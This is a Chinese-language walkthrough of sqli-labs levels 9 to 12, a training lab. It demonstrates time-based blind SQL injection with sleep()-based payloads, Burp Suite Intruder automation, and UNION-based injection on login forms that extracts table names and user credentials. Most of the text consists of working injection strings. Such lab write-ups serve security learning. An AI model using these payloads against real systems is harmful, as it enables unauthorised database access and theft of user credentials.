时间盲注的原理是利用sleep()函数,根据页面的响应时间来判断我们所输入的代码是否正确
一、Less-9(时间盲注)
1、判断闭合方式
(1)第一次尝试
?id=1 and sleep(3)
页面所需的时间不符合我们所设置的三秒,所以不是这个闭合方式
(2)第二次尝试
?id=1' and sleep(3)--+
页面为我们做出了响应,说明是一个单引号这种闭合方式
2、判断数据库名
既然我们的值了闭合方式,那么下一步就要判断他的数据库名字了,由于我们在页面上得知不到任何信息,所以我们只能根据响应时间去一个一个的判断
这条语句的意思就是如果数据库的长度为一,那么就延时三秒,否则就无任何响应
if(1,2,3)的含义就是,如果1为真,那么就执行2,否则执行3
length的意思是长度
判断数据库名字的长度
(1)第一次尝试
?id=1' and if(length(database())=1,sleep(3),1)--+
页面无响应,那么就尝试2
(2)第二次尝试
?id=1' and if(length(database())=2,sleep(3),1)--+
页面无响应,那么就尝试下一个数字,这里我们直接跳过到8
(3)第八次尝试
?id=1' and if(length(database())=8,sleep(3),1)--+
页面响应了三秒才恢复正常,说明我们的语句是正确的,说明他数据库名字的长度确实为8,那么下一步我们就要判断数据库的名字了
判断数据库名
substr(1,2,3)是截取函数,把1的结果从第二位开始截取,截取三位
?id=1' and if((ascii(substr(database(),1,1))>110),sleep(3),1)--+
这段代码的意思是如果数据库名字的第一个字符所对应的ASCII码值大于110,那么就延时三秒,反之不延时
页面延时了,说明数据库名字的第一个字符大所对应的ASCII码值大于110
以此类推,推出数据库的名字为security
3、判断表名
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>110),sleep(3),1)--+
页面没延时,说明表名字的第一个字符所对应的ASCII码值小于等于110,那么接下来使用二分法以此类推,继续判断,得出所有表的名字为:emails,referers,uagents,users
4、判断字段名
这里我们使用users表
把table换成column,在select语句的后面跟上表名就好了
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>110),sleep(3),1)--+
判断方法也是和上面一样,这里就不过多赘述了
5、判断数据
?id=1' and if((ascii(substr((select username from users limit 0,1),1,1))>110),sleep(3),1)--+
二、Less-10
第十关和第九关是一样的做法,只是闭合方式为双引号
这里我们讲一下利用抓包工具来获取我们想要的信息
1、获取数据库的名字
(1)首先还是要利用语句判断闭合方式
?id=1" and sleep(3) --+
(2)判断好闭合方式之后,就可以抓包了
在浏览器里输入语句,打开代理,打开拦截
?id=1" and if((substr(database(),1,1)='a'),sleep(3),1)--+
(3)输入语句后,回车
(4)ctrl+i发送到intruder模块,攻击类型选择集束炸弹
(5)在我们需要进行测试的位置选中并添加payload位置
(6)切换到payload模块,在payload集1和2里分别添加数值
(7)开始攻击
这样便得到了数据库的名字security
2、判断有哪些表
(1)还是先在浏览器里输入语句,打开代理,打开拦截,回车
?id=1" and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(3),1)--+
(2)还是一样的操作,ctrl+i发送到攻击模块,选择集束炸弹,在我们需要进行测试的位置选中并添加payload位置
(3)换到payload模块,在payload集1和2里分别添加数值,开始攻击
这样就得出了我们要查的第一个表emails
在BP工具里直接修改limit的值,改为1,1,开始攻击,这样我们就可以查到第二个表的名字为referers
以此类推,我们查到的所有表为:emails,referers,uagents,users
3、判断表里有哪些字段
和查表一样,只需要把浏览器里的table换成column,并在后面附上你要查到的那张表
?id=1" and if((substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a'),sleep(3),1)--+
最后查到的字段名为id,username,password
4、判断数据
?id=1" and if((substr((select concat(username,password) from users limit 0,1),1,1)='a'),sleep(3),1)--+
三、Less-11
从第十一关开始,可以发现页面就发生变化了,是一个登录页面
尝试输入数据
输入1
输入1‘
页面告诉了我们信息username和password都是参数,所以我们就在输入框了实现闭合
输入1' or 1=1#
那接下来就和之前的第一关一样了
1、查字段数量
1' order by 5 #
不是5,试试2(这里我已经试出来了就是2,我就不装了)
2、查回显位置
-1' union select 1,2 #
3、查数据库名字
-1' union select 1,database()#
4、查表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
5、查字段名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
6、查数据
-1' union select 1,group_concat(username,'~',password) from users #
四、Less-12
这一关和上一关是一样的,只是闭合方式不同,这一关的闭合方式为双引号括号
因为我输入单引号的时候没反应,所以就尝试了双引号,在双引号的报错里我看到了括号,所以又尝试了双引号括号,结果成功了,接下来的步骤就还是和上一关一样了